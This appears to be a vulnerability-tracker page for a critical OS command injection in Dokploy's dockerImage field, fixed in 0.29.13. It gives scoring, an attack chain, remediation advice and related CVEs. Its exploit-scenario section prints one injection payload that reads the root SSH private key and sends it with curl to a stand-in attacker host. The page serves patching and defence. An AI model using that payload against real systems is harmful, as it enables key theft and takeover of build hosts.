Skip to main content

Dokploy CVE-2026-72877

| EUVDEUVD-2026-55742 CRITICAL
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
9.6
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with app create/update rights
  2. Delivery
    Craft dockerImage with $() or backtick payload
  3. Exploit
    Trigger application build/deploy
  4. Execution
    buildRemoteDocker runs unquoted shell command
  5. Persist
    Arbitrary command execution on build host
  6. Impact
    Exfiltrate host secrets and other projects

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Dokploy account that holds application create or update permission (per CVSS PR:L), and the attacker must supply a crafted value in the dockerImage field (or the related dockerContextPath / publishDirectory fields) of an application, then cause a build/deploy that invokes buildRemoteDocker(). No user interaction by a victim is needed and the attack works against default configurations of vulnerable versions (< 0.29.13) because the field is validated only as an optional string with no quoting. Limiting factors: the attacker needs that create/update role rather than anonymous access, and the target must be running a version prior to 0.29.13; the injected commands run on whatever build host is configured (local or the remote SSH build target).

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N, base 9.6) is internally consistent with the description: network-reachable web/API surface, low complexity, only low privileges (any user who can create or update an application), no user interaction, and a scope change because injected commands escape the application context to reach host secrets and other tenants' projects. The chief limiting factor is PR:L - this is not an anonymous internet exploit; the attacker must already hold an authenticated account with application create/update rights, which in multi-tenant or team Dokploy deployments is a plausible low-trust role but still a gate. No EPSS score, KEV status, or SSVC decision data was supplied, so exploitation probability and automatability cannot be quantified from the input; the fix's public regression test containing concrete payloads means the technique is effectively public even absent a packaged exploit. Net: a genuine high priority for any multi-user Dokploy instance because a low-privileged tenant can fully compromise the build host, but the authentication requirement makes mass, unauthenticated exploitation unlikely.

Exploit ScenarioDerived

A low-privileged tenant on a shared Dokploy instance creates or edits an application and sets the Docker image to a value like nginx:latest$(cat /root/.ssh/id_rsa | curl -T - http://attacker/) or id, then triggers a deploy. When Dokploy runs buildRemoteDocker(), the shell evaluates the substitution on the build host or remote SSH target, executing the attacker's commands with the build process's privileges and exposing host secrets and other projects. The upstream regression test publicly demonstrates the injection payloads, lowering the effort to reproduce.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

OS command injection in Dokploy self-hostable PaaS versions prior to 0.29.13 lets an authenticated user with application create or update permission achieve arbitrary command execution on the build host. The dockerImage field is interpolated unquoted into shell commands in buildRemoteDocker() (packages/server/src/utils/providers/docker.ts) and validated only as an optional string, so shell command substitution such as $(...) or backticks runs on the local build host or a remote SSH build target. The upstream fix and its regression test publicly demonstrate working injection payloads, so publicly available exploit code exists, though there is no public exploit identified as weaponized and no CISA KEV listing; EPSS was not provided.

RemediationAI

Vendor-released patch: 0.29.13 - upgrade all Dokploy control-plane and build nodes to v0.29.13 or later, which quotes user-controlled fields via shell-quote at the docker pull/build/cp sinks (release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13, advisory GHSA-jxxj-gmpx-h5rj). If you cannot upgrade immediately, restrict who holds application create/update permission to fully trusted operators, since that role is the only prerequisite; audit existing applications for suspicious dockerImage, dockerContextPath, or publishDirectory values containing shell metacharacters ($, backtick, ;, &&, |); and isolate build hosts so a compromised build cannot reach production secrets or other tenants - for example run builds on ephemeral, network-segmented, credential-minimized workers, accepting the trade-off of added build-infrastructure complexity. These compensating controls reduce blast radius but do not close the injection, so patching remains the only complete fix.

Affected VersionsENISA

dokploy < 0.29.13

Affected Packages

euvd dokploy fix: 0.29.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy is an open-source Heroku/Vercel-style Platform as a Service that orchestrates Docker-based application deploys, including pulling prebuilt images and building via Dockerfile and Nixpacks. The affected code path (CPE cpe:2.3:a:dokploy:dokploy:*) constructs shell command strings by template-interpolating user-controlled application fields - dockerImage in buildRemoteDocker(), and related sinks dockerContextPath (docker-file.ts) and publishDirectory (nixpacks.ts) - then executes them through /bin/sh either locally or over SSH to a remote build node. This is a textbook CWE-78 OS Command Injection: because the values are placed into a command line rather than passed as isolated arguments, shell metacharacters ($(), backticks, ;, &&, |) are honored. The fix wraps each value with shell-quote's quote() so the payload is preserved as a single literal token, as shown by the added docker-build-injection.test.ts that asserts payloads like $(touch ...) and touch ... no longer fire.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.6 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
vuln.today AI 9.9 CRITICAL

Network-facing app UI/API (AV:N), trivial injection (AC:L), needs a create/update account (PR:L), no interaction (UI:N); commands escape to the host affecting other tenants (S:C) with full C/I/A from arbitrary execution.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 20:04 EUVD
CVE Published
Aug 10, 2026 - 19:02 cve.org
CRITICAL 9.6

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the dockerImage field is interpolated without quoting into shell commands in buildRemoteDocker() in packages/server/src/utils/providers/docker.ts and is validated only as an optional string. An authenticated user with application create or update permission can use shell command substitution in dockerImage to execute arbitrary commands on the local build host or a remote SSH build target, exposing host secrets and other projects. This issue is fixed in version 0.29.13.

Executive ViewAI

Why It Matters

Dokploy versions prior to 0.29.13 contain a critical command injection vulnerability that allows authenticated users with application management permissions to execute arbitrary commands on build infrastructure. This vulnerability directly threatens the integrity of containerized deployments and could enable attackers to compromise your entire application pipeline once authenticated. Organizations using Dokploy for self-hosted deployments face immediate risk with no patch currently available.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict application creation/update permissions to trusted personnel via role-based access control; isolate build hosts on segmented networks without outbound internet access; implement audit logging and alerting for all build operations; disable remote SSH build targets where possible; monitor build process logs for command substitution patterns ($(...), backticks) and kill suspicious processes; consider temporarily disabling Dokploy deployments until 0.29.13 is released and deployed.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
Medium
popular open-source self-hostable PaaS, moderate self-hosting and small-team footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +48
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy